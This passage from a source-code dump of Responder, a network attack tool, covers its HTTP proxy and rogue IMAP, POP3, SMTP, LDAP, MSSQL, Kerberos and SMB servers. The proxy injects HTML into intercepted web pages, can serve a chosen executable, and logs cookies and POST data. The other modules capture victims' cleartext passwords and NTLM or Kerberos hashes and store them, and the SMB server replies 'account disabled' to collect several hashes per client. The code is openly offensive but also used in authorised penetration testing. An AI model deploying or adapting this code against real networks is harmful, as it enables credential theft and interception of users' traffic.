settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): 35 | return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) 36 | 37 | if len(data.split('\r\n\r\n')) > 1: 38 | try: 39 | Headers, Content = data.split('\r\n\r\n') 40 | except: 41 | return data 42 | 43 | RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] 44 | if set(RedirectCodes) & set(Headers): 45 | return data 46 | 47 | if "content-encoding: gzip" in Headers.lower(): 48 | Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) 49 | 50 | if "content-type: text/html" in Headers.lower(): 51 | if settings.Config.Serve_Html: # Serve the custom HTML if needed 52 | return RespondWithFile(client, settings.Config.Html_Filename) 53 | 54 | Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) 55 | HasBody = re.findall(r'(]*>)', Content) 56 | 57 | if HasBody and len(settings.Config.HtmlToInject) > 2: 58 | if settings.Config.Verbose: 59 | print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) 60 | 61 | Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) 62 | 63 | if "content-encoding: gzip" in Headers.lower(): 64 | Content = zlib.compress(Content) 65 | 66 | Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) 67 | data = Headers +'\r\n\r\n'+ Content 68 | else: 69 | if settings.Config.Verbose: 70 | print text("[PROXY] Returning unmodified HTTP response") 71 | return data 72 | 73 | class ProxySock: 74 | def __init__(self, socket, proxy_host, proxy_port) : 75 | 76 | # First, use the socket, without any change 77 | self.socket = socket 78 | 79 | # Create socket (use real one) 80 | self.proxy_host = proxy_host 81 | self.proxy_port = proxy_port 82 | 83 | # Copy attributes 84 | self.family = socket.family 85 | self.type = socket.type 86 | self.proto = socket.proto 87 | 88 | def connect(self, address) : 89 | 90 | # Store the real remote adress 91 | self.host, self.port = address 92 | 93 | # Try to connect to the proxy 94 | for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( 95 | self.proxy_host, 96 | self.proxy_port, 97 | 0, 0, socket.SOL_TCP): 98 | try: 99 | # Replace the socket by a connection to the proxy 100 | self.socket = socket.socket(family, socktype, proto) 101 | self.socket.connect(sockaddr) 102 | except socket.error, msg: 103 | if self.socket: 104 | self.socket.close() 105 | self.socket = None 106 | continue 107 | break 108 | if not self.socket : 109 | raise socket.error, msg 110 | 111 | # Ask him to create a tunnel connection to the target host/port 112 | self.socket.send( 113 | ("CONNECT %s:%d HTTP/1.1\r\n" + 114 | "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)) 115 | 116 | # Get the response 117 | resp = self.socket.recv(4096) 118 | 119 | # Parse the response 120 | parts = resp.split() 121 | 122 | # Not 200 ? 123 | if parts[1] != "200": 124 | print color("[!] Error response from upstream proxy: %s" % resp, 1) 125 | pass 126 | 127 | # Wrap all methods of inner socket, without any change 128 | def accept(self) : 129 | return self.socket.accept() 130 | 131 | def bind(self, *args) : 132 | return self.socket.bind(*args) 133 | 134 | def close(self) : 135 | return self.socket.close() 136 | 137 | def fileno(self) : 138 | return self.socket.fileno() 139 | 140 | def getsockname(self) : 141 | return self.socket.getsockname() 142 | 143 | def getsockopt(self, *args) : 144 | return self.socket.getsockopt(*args) 145 | 146 | def listen(self, *args) : 147 | return self.socket.listen(*args) 148 | 149 | def makefile(self, *args) : 150 | return self.socket.makefile(*args) 151 | 152 | def recv(self, *args) : 153 | return self.socket.recv(*args) 154 | 155 | def recvfrom(self, *args) : 156 | return self.socket.recvfrom(*args) 157 | 158 | def recvfrom_into(self, *args) : 159 | return self.socket.recvfrom_into(*args) 160 | 161 | def recv_into(self, *args) : 162 | return self.socket.recv_into(buffer, *args) 163 | 164 | def send(self, *args) : 165 | try: return self.socket.send(*args) 166 | except: pass 167 | 168 | def sendall(self, *args) : 169 | return self.socket.sendall(*args) 170 | 171 | def sendto(self, *args) : 172 | return self.socket.sendto(*args) 173 | 174 | def setblocking(self, *args) : 175 | return self.socket.setblocking(*args) 176 | 177 | def settimeout(self, *args) : 178 | return self.socket.settimeout(*args) 179 | 180 | def gettimeout(self) : 181 | return self.socket.gettimeout() 182 | 183 | def setsockopt(self, *args): 184 | return self.socket.setsockopt(*args) 185 | 186 | def shutdown(self, *args): 187 | return self.socket.shutdown(*args) 188 | 189 | # Return the (host, port) of the actual target, not the proxy gateway 190 | def getpeername(self) : 191 | return self.host, self.port 192 | 193 | # Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. 194 | class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): 195 | __base = BaseHTTPServer.BaseHTTPRequestHandler 196 | __base_handle = __base.handle 197 | 198 | rbufsize = 0 199 | 200 | def handle(self): 201 | (ip, port) = self.client_address 202 | if settings.Config.Verbose: 203 | print text("[PROXY] Received connection from %s" % self.client_address[0]) 204 | self.__base_handle() 205 | 206 | def _connect_to(self, netloc, soc): 207 | i = netloc.find(':') 208 | if i >= 0: 209 | host_port = netloc[:i], int(netloc[i+1:]) 210 | else: 211 | host_port = netloc, 80 212 | try: soc.connect(host_port) 213 | except socket.error, arg: 214 | try: msg = arg[1] 215 | except: msg = arg 216 | self.send_error(404, msg) 217 | return 0 218 | return 1 219 | 220 | def socket_proxy(self, af, fam): 221 | Proxy = settings.Config.Upstream_Proxy 222 | Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') 223 | Proxy = Proxy.split(':') 224 | 225 | try: Proxy = (Proxy[0], int(Proxy[1])) 226 | except: Proxy = (Proxy[0], 8080) 227 | 228 | soc = socket.socket(af, fam) 229 | return ProxySock(soc, Proxy[0], Proxy[1]) 230 | 231 | def do_CONNECT(self): 232 | 233 | if settings.Config.Upstream_Proxy: 234 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 235 | else: 236 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 237 | 238 | try: 239 | if self._connect_to(self.path, soc): 240 | self.wfile.write(self.protocol_version +" 200 Connection established\r\n") 241 | self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) 242 | self.wfile.write("\r\n") 243 | try: 244 | self._read_write(soc, 300) 245 | except: 246 | pass 247 | except: 248 | pass 249 | 250 | finally: 251 | soc.close() 252 | self.connection.close() 253 | 254 | def do_GET(self): 255 | (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') 256 | 257 | if netloc in IgnoredDomains: 258 | #self.send_error(200, "OK") 259 | return 260 | 261 | if scm not in 'http' or fragment or not netloc: 262 | self.send_error(400, "bad url %s" % self.path) 263 | return 264 | 265 | if settings.Config.Upstream_Proxy: 266 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 267 | else: 268 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 269 | 270 | try: 271 | URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) 272 | 273 | if self._connect_to(netloc, soc): 274 | soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) 275 | 276 | Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' 277 | 278 | if settings.Config.Verbose: 279 | print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) 280 | print text("[PROXY] Requested URL : %s" % color(self.path, 3)) 281 | print text("[PROXY] Cookie : %s" % Cookie) 282 | 283 | self.headers['Connection'] = 'close' 284 | del self.headers['Proxy-Connection'] 285 | del self.headers['If-Range'] 286 | del self.headers['Range'] 287 | 288 | for k, v in self.headers.items(): 289 | soc.send("%s: %s\r\n" % (k.title(), v)) 290 | soc.send("\r\n") 291 | 292 | try: 293 | self._read_write(soc, netloc) 294 | except: 295 | pass 296 | 297 | except: 298 | pass 299 | 300 | finally: 301 | soc.close() 302 | self.connection.close() 303 | 304 | def _read_write(self, soc, netloc='', max_idling=30): 305 | iw = [self.connection, soc] 306 | ow = [] 307 | count = 0 308 | while 1: 309 | count += 1 310 | (ins, _, exs) = select.select(iw, ow, iw, 1) 311 | if exs: 312 | break 313 | if ins: 314 | for i in ins: 315 | if i is soc: 316 | out = self.connection 317 | try: 318 | data = i.recv(4096) 319 | if len(data) > 1: 320 | data = InjectData(data, self.client_address[0], self.path) 321 | except: 322 | pass 323 | else: 324 | out = soc 325 | try: 326 | data = i.recv(4096) 327 | 328 | if self.command == "POST" and settings.Config.Verbose: 329 | print text("[PROXY] POST Data : %s" % data) 330 | except: 331 | pass 332 | if data: 333 | try: 334 | out.send(data) 335 | count = 0 336 | except: 337 | pass 338 | if count == max_idling: 339 | break 340 | return None 341 | 342 | 343 | do_HEAD = do_GET 344 | do_POST = do_GET 345 | do_PUT = do_GET 346 | do_DELETE=do_GET 347 | -------------------------------------------------------------------------------- /servers/IMAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd 20 | 21 | class IMAP(BaseRequestHandler): 22 | def handle(self): 23 | try: 24 | self.request.send(str(IMAPGreeting())) 25 | data = self.request.recv(1024) 26 | 27 | if data[5:15] == "CAPABILITY": 28 | RequestTag = data[0:4] 29 | self.request.send(str(IMAPCapability())) 30 | self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) 31 | data = self.request.recv(1024) 32 | 33 | if data[5:10] == "LOGIN": 34 | Credentials = data[10:].strip() 35 | 36 | SaveToDb({ 37 | 'module': 'IMAP', 38 | 'type': 'Cleartext', 39 | 'client': self.client_address[0], 40 | 'user': Credentials[0], 41 | 'cleartext': Credentials[1], 42 | 'fullhash': Credentials[0]+":"+Credentials[1], 43 | }) 44 | 45 | ## FIXME: Close connection properly 46 | ## self.request.send(str(ditchthisconnection())) 47 | ## data = self.request.recv(1024) 48 | except Exception: 49 | pass -------------------------------------------------------------------------------- /servers/Kerberos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from SocketServer import BaseRequestHandler 18 | from utils import * 19 | import struct 20 | 21 | def ParseMSKerbv5TCP(Data): 22 | MsgType = Data[21:22] 23 | EncType = Data[43:44] 24 | MessageType = Data[32:33] 25 | 26 | if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": 27 | if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": 28 | HashLen = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge 19 | from utils import * 20 | import struct 21 | 22 | def ParseSearch(data): 23 | if re.search(r'(objectClass)', data): 24 | return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) 25 | elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): 26 | return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 27 | elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): 28 | return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 29 | 30 | def ParseLDAPHash(data, client): 31 | SSPIStart = data[42:] 32 | LMhashLen = struct.unpack(' 10: 35 | LMhashOffset = struct.unpack('i',data[2:6])[0] 75 | MessageSequence = struct.unpack('i',data[11:15])[0] 79 | LDAPVersion = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer 19 | from utils import * 20 | import struct 21 | 22 | class TDS_Login_Packet: 23 | def __init__(self, data): 24 | 25 | ClientNameOff = struct.unpack(' 60: 87 | WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) 88 | 89 | SaveToDb({ 90 | 'module': 'MSSQL', 91 | 'type': 'NTLMv2', 92 | 'client': client, 93 | 'user': Domain+'\\'+User, 94 | 'hash': NTHash[:32]+":"+NTHash[32:], 95 | 'fullhash': WriteHash, 96 | }) 97 | 98 | 99 | def ParseSqlClearTxtPwd(Pwd): 100 | Pwd = map(ord,Pwd.replace('\xa5','')) 101 | Pw = '' 102 | for x in Pwd: 103 | Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') 104 | return Pw 105 | 106 | 107 | def ParseClearTextSQLPass(data, client): 108 | TDS = TDS_Login_Packet(data) 109 | SaveToDb({ 110 | 'module': 'MSSQL', 111 | 'type': 'Cleartext', 112 | 'client': client, 113 | 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 114 | 'user': TDS.UserName, 115 | 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 116 | 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), 117 | }) 118 | 119 | # MSSQL Server class 120 | class MSSQL(BaseRequestHandler): 121 | def handle(self): 122 | if settings.Config.Verbose: 123 | print text("[MSSQL] Received connection from %s" % self.client_address[0]) 124 | 125 | try: 126 | while True: 127 | data = self.request.recv(1024) 128 | self.request.settimeout(0.1) 129 | 130 | 131 | if data[0] == "\x12": # Pre-Login Message 132 | Buffer = str(MSSQLPreLoginAnswer()) 133 | self.request.send(Buffer) 134 | data = self.request.recv(1024) 135 | 136 | if data[0] == "\x10": # NegoSSP 137 | if re.search("NTLMSSP",data): 138 | Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) 139 | Packet.calculate() 140 | Buffer = str(Packet) 141 | self.request.send(Buffer) 142 | data = self.request.recv(1024) 143 | else: 144 | ParseClearTextSQLPass(data,self.client_address[0]) 145 | 146 | if data[0] == "\x11": # NegoSSP Auth 147 | ParseSQLHash(data,self.client_address[0]) 148 | 149 | except socket.timeout: 150 | self.request.close() 151 | -------------------------------------------------------------------------------- /servers/POP3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import POPOKPacket 20 | 21 | # POP3 Server class 22 | class POP3(BaseRequestHandler): 23 | def SendPacketAndRead(self): 24 | Packet = POPOKPacket() 25 | self.request.send(str(Packet)) 26 | return self.request.recv(1024) 27 | 28 | def handle(self): 29 | try: 30 | data = self.SendPacketAndRead() 31 | 32 | if data[0:4] == "USER": 33 | User = data[5:].replace("\r\n","") 34 | data = self.SendPacketAndRead() 35 | if data[0:4] == "PASS": 36 | Pass = data[5:].replace("\r\n","") 37 | 38 | SaveToDb({ 39 | 'module': 'POP3', 40 | 'type': 'Cleartext', 41 | 'client': self.client_address[0], 42 | 'user': User, 43 | 'cleartext': Pass, 44 | 'fullhash': User+":"+Pass, 45 | }) 46 | self.SendPacketAndRead() 47 | except Exception: 48 | pass -------------------------------------------------------------------------------- /servers/SMB.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from random import randrange 18 | from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData 19 | from SocketServer import BaseRequestHandler 20 | from utils import * 21 | import struct 22 | 23 | 24 | def Is_Anonymous(data): # Detect if SMB auth was Anonymous 25 | SecBlobLen = struct.unpack(' 260: 31 | LMhashLen = struct.unpack(' 60: 110 | SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() 111 | DomainLen = struct.unpack(' 25: 136 | FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') 137 | LmHash = FullHash[:32].upper() 138 | NtHash = FullHash[32:].upper() 139 | WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) 140 | 141 | SaveToDb({ 142 | 'module': 'SMB', 143 | 'type': 'NTLMv2', 144 | 'client': client, 145 | 'user': Domain+'\\'+Username, 146 | 'hash': NtHash, 147 | 'fullhash': WriteHash, 148 | }) 149 | 150 | if NthashLen == 24: 151 | NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() 152 | LmHash = data[65:65+LMhashLen].encode('hex').upper() 153 | WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) 154 | 155 | SaveToDb({ 156 | 'module': 'SMB', 157 | 'type': 'NTLMv1', 158 | 'client': client, 159 | 'user': Domain+'\\'+Username, 160 | 'hash': NtHash, 161 | 'fullhash': WriteHash, 162 | }) 163 | 164 | def IsNT4ClearTxt(data, client): 165 | HeadLen = 36 166 | 167 | if data[14:16] == "\x03\x80": 168 | SmbData = data[HeadLen+14:] 169 | WordCount = data[HeadLen] 170 | ChainedCmdOffset = data[HeadLen+1] 171 | 172 | if ChainedCmdOffset == "\x75": 173 | PassLen = struct.unpack(' 2: 176 | Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") 177 | User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") 178 | print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) 179 | WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) 180 | 181 | 182 | class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP 183 | def handle(self): 184 | try: 185 | self.ntry = 0 186 | while True: 187 | data = self.request.recv(1024) 188 | self.request.settimeout(1) 189 | 190 | if not data: 191 | break 192 | 193 | if data[0] == "\x81": #session request 139 194 | Buffer = "\x82\x00\x00\x00" 195 | try: 196 | self.request.send(Buffer) 197 | data = self.request.recv(1024) 198 | except: 199 | pass 200 | 201 | if data[8:10] == "\x72\x00": # Negociate Protocol Response 202 | Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) 203 | Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) 204 | Body.calculate() 205 | 206 | Packet = str(Header)+str(Body) 207 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 208 | 209 | self.request.send(Buffer) 210 | data = self.request.recv(1024) 211 | 212 | if data[8:10] == "\x73\x00": # Session Setup AndX Request 213 | IsNT4ClearTxt(data, self.client_address[0]) 214 | 215 | # STATUS_MORE_PROCESSING_REQUIRED 216 | Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) 217 | if settings.Config.CaptureMultipleCredentials and self.ntry == 0: 218 | Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") 219 | else: 220 | Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) 221 | Body.calculate() 222 | 223 | Packet = str(Header)+str(Body) 224 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 225 | 226 | self.request.send(Buffer) 227 | data = self.request.recv(4096) 228 | 229 | 230 | if data[8:10] == "\x73\x00": # STATUS_SUCCESS 231 | if Is_Anonymous(data): 232 | Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. 233 | Body = SMBSessEmpty() 234 | 235 | Packet = str(Header)+str(Body) 236 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 237 | 238 | self.request.send(Buffer) 239 | 240 | else: 241 | # Parse NTLMSSP_AUTH packet 242 | ParseSMBHash(data,self.client_address[0]) 243 | 244 | if settings.Config.CaptureMultipleCredentials and self.ntry == 0: 245 | # Send ACCOUNT_DISABLED to get multiple hashes if there are any 246 | Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. 247 | Body = SMBSessEmpty() 248 | 249 | Packet = str(Header)+str(Body) 250 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 251 | 252 | self.request.send(Buffer) 253 | self.ntry += 1 254 | continue 255 | 256 | # Send STATUS_SUCCESS 257 | Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 258 | Body = SMBSession2Accept() 259 | Body.calculate() 260 | 261 | Packet = str(Header)+str(Body) 262 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 263 | 264 | self.request.send(Buffer) 265 | data = self.request.recv(1024) 266 | 267 | 268 | if data[8:10] == "\x75\x00": # Tree Connect AndX Request 269 | ParseShare(data) 270 | Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) 271 | Body = SMBTreeData() 272 | Body.calculate() 273 | 274 | Packet = str(Header)+str(Body) 275 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 276 | 277 | self.request.send(Buffer) 278 | data = self.request.recv(1024) 279 | 280 | if data[8:10] == "\x71\x00": #Tree Disconnect 281 | Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 282 | Body = "\x00\x00\x00" 283 | 284 | Packet = str(Header)+str(Body) 285 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 286 | 287 | self.request.send(Buffer) 288 | data = self.request.recv(1024) 289 | 290 | if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. 291 | Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 292 | Body = "\x00\x00\x00" 293 | 294 | Packet = str(Header)+str(Body) 295 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 296 | 297 | self.request.send(Buffer) 298 | data = self.request.recv(1024) 299 | 300 | if data[8:10] == "\x25\x00": # Trans2 Access Denied. 301 | Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 302 | Body = "\x00\x00\x00" 303 | 304 | Packet = str(Header)+str(Body) 305 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 306 | 307 | self.request.send(Buffer) 308 | data = self.request.recv(1024) 309 | 310 | 311 | if data[8:10] == "\x74\x00": # LogOff 312 | Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 313 | Body = "\x02\xff\x00\x27\x00\x00\x00" 314 | 315 | Packet = str(Header)+str(Body) 316 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 317 | 318 | self.request.send(Buffer) 319 | data = self.request.recv(1024) 320 | 321 | except socket.timeout: 322 | pass 323 | 324 | 325 | class SMB1LM(BaseRequestHandler): # SMB Server class, old version 326 | def handle(self): 327 | try: 328 | self.request.settimeout(0.5) 329 | data = self.request.recv(1024) 330 | 331 | if data[0] == "\x81": #session request 139 332 | Buffer = "\x82\x00\x00\x00" 333 | self.request.send(Buffer) 334 | data = self.request.recv(1024) 335 | 336 | if data[8:10] == "\x72\x00": #Negotiate proto answer. 337 | head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) 338 | Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) 339 | Body.calculate() 340 | Packet = str(head)+str(Body) 341 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 342 | self.request.send(Buffer) 343 | data = self.request.recv(1024) 344 | 345 | if data[8:10] == "\x73\x00": #Session Setup AndX Request 346 | if Is_LMNT_Anonymous(data): 347 | head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 348 | Packet = str(head)+str(SMBSessEmpty()) 349 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet 350 | self.request.send(Buffer) 351 | else: 352 | ParseLMNTHash(data,self.client_address[0]) 353 | head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) 354 | Packet = str(head) + str(SMBSessEmpty()) 355 | Buffer = struct.pack(">i", len(''.join(Packet))) + Packet 356 | self.request.send(Buffer) 357 | data = self.request.recv(1024) 358 | except Exception: 359 | self.request.close() 360 | pass 361 | -------------------------------------------------------------------------------- /servers/SMTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from base64 import b64decode 19 | from SocketServer import BaseRequestHandler 20 | from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 21 | 22 | class ESMTP(BaseRequestHandler): 23 | 24 | def handle(self): 25 | try: 26 | self.request.send(str(SMTPGreeting())) 27 | data = self.request.recv(1024) 28 | 29 | if data[0:4] == "EHLO": 30 | self.request.send(str(SMTPAUTH())) 31 | data = self.request.recv(1024) 32 | 33 | if data[0:4] == "AUTH": 34 | self.request.send(str(SMTPAUTH1())) 35 | data = self.request.recv(1024) 36 | 37 | if data: 38 | try: 39 | User = filter(None, b64decode(data).split('\x00')) 40 | Username = User[0] 41 | Password = User[1] 42 | except: 43 | Username = b64decode(data) 44 | 45 | self.request.send(str(SMTPAUTH2())) 46 | data = self.request.recv(1024) 47 | 48 | if data: 49 | try: Password = b64decode(data) 50 | except: Password = data 51 | 52 | SaveToDb({ 53 | 'module': 'SMTP', 54 | 'type': 'Cleartext', 55 | 'client': self.client_address[0], 56 | 'user': Username, 57 | 'cleartext': Password, 58 | 'fullhash': Username+":"+Password, 59 | }) 60 | 61 | except Exception: 62 | pass -------------------------------------------------------------------------------- /servers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SpiderLabs/Responder/c02c74853298ea52a2bfaa4d250c3898886a44ac/servers/__init__.py -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 